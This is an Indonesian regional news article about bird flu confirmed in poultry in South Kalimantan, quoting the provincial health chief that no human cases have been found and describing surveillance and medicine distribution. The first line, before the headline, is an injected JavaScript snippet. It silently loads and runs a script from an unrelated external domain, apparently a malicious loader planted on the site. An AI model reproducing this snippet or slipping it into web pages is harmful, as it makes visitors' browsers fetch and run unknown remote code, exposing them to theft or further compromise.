(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

Flu Burung Serang Unggas di Kalsel, Kadinkes: Tak Ada Kasus pada Manusia

KANALKALIMANTAN.COM, BANJARMASIN – Kasus flu burung saat ini kembali mencuat. Tak terkecuali di Kalimantan Selatan, penyakit dari hewan yang dapat menular ke manusia itu cukup membikin masyarakat cemas.

Menanggapi kecemasan tersebut, Kepala Dinas Kesehatan Kalsel dr Diauddin MKes mengatakan, saat ini pihaknya memang sudah menemukan penyakit flu burung yang menyerang pada unggas.

Dikatakannya hingga hari ini, penyakit flu burung telah menyerang sejumlah unggas di dua kabupaten di Provinsi Kalsel (HSU dan Tanah Bumbu, red).

“Jadi untuk informasi di Kalsel sudah ada kasus yang positif diunggas, di dua kabupaten,” katanya Kamis (2/3/2023) siang.

Namun, Diauddin tidak menyebutkan langsung nama dua kabupaten yang telah terkonfirmasi positif flu burung yang menyerang unggas tersebut.

Dirinya hanya menegaskan jika saat ini kasus flu burung di Kalsel hanya terkonfirmasi pada unggas dan belum ditemukan kasus pada manusia.

Kepala Dinas Kesehatan Kalimantan Selatan, dr Diauddin MKes. Foto: rizki

“Sekali lagi hanya unggas, bukan manusia,” tegasnya.

Namun, dirinya juga mengatakan, penyakit flu burung dapat menular ke manusia, walaupun potensinya cukup rendah.

Sehingga, Diauddin menghimbau masyarakat yang berada di Kalsel untuk tidak panik dan tetap menerapkan kewaspadaan dengan menjaga kesehatan.

“Jadi intinya tidak perlu panik karena kasus ini masih terjadi diunggas belum ke manusia,” tegasnya.

Jika melihat beberapa waktu lalu, Kementerian Kesehatan merilis bahwa pemerintah mewaspadai Kasus Luar Biasa (KLB) Flu Burung Clad Baru 2.3.4.4b.

Kewaspadaan tersebut tertuang dalam Surat Edaran (SE) Dirjen Pencegahan dan Pengendalian Penyakit (P2P) Nomor PV.03.01/C/824/2023 tentang Kewaspadaan Kejadian Luar Biasa Flu Burung (H5NI) Clade Baru 2.3.4.4b pada tanggal 24 Februari 2023.

Dalam surat tersebut juga diinstruksikan kepada seluruh Dinas Kesehatan provinsi dan Kabupaten/Kota untuk melakukan kordinasi dengan instansi yang membidangi fungsi kesehatan hewan dalam rangka pencegahan penyakit flu burung yang berpotensi menular pada manusia.

Termasuk juga memerintahkan Kantor Kesehatan Pelabuhan Seluruh Indonesia untuk meningkatkan pengawasan terhadap Pelaku Perjalanan Luar Negeri dan Dalam Negeri penumpang di Pelabuhan, Bandar Udara dan Pos Lintas Darat Negara.

Menindaklanjuti SE tersebut, Kepala Dinkes Kalsel mengatakan telah melaksanakan rapat pertemuan dengan Dinas Perkebunan dan Peternakan untuk membahas penyakit varian baru flu burung tersebut.

“Kita juga sudah melakukan langkah-langkah bersama, salah satunya adalah menurunkan tim bersama dengan peternakan untuk melakukan surveilens,” ungkap Diauddin.

Pihaknya juga sudah menginstruksikan kepada seluruh Dinas Kesehatan di Kabupaten/Kota di Kalsel untuk meningkatkan sistem kewaspadaan dini dengan segara melaporkan jika ditemukan kasus flu burung pada manusia.

“Itu dilaporkan dalam waktu tidak boleh dari satu kali 24 jam,” tegasnya.

Disamping itu, Diauddin mengatakan jik pihaknya juga sudah menyalurkan obat-obatan khusus untuk flu burung ke instansi kesehata Kabupaten/Kota di Kalsel.

Sehingga menurutnya jika nanti didapati kasus positif flu burung pada manusia telah disiapkan untuk penanganannya.

“Apabila terjadi penularan ke manusia pun, kita sudah melakukan langkah-langkah persiapan yang cukup,” tutup mantan Kadis Kesehatan Kabupaten Banjar ini. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie